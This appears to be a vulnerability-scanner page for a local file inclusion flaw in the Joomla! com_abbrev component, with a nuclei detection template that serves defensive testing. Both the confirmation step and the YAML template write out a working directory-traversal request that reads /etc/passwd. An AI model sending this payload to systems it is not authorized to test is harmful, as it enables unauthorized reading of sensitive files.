Joomla! Component com_abbrev - Local File Inclusion

highseverity

7.5CVSS score

13.3%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Abbreviations Manager (com_abbrev) component 1.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.

Fix

Apply all relevant security patches and product upgrades.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-0985 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-0985

info:
  name: Joomla! Component com_abbrev - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Abbreviations Manager (com_abbrev) component 1.1 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/10948
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0985
    - http://www.exploit-db.com/exploits/10948
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/55348
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-0985
    cwe-id: CWE-22
    epss-score: 0.13339
    epss-percentile: 0.96437
    cpe: cpe:2.3:a:chris_simon:com_abbrev:1.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: chris_simon
    product: com_abbrev
  tags: cve,cve2010,joomla,lfi,edb,chris_simon,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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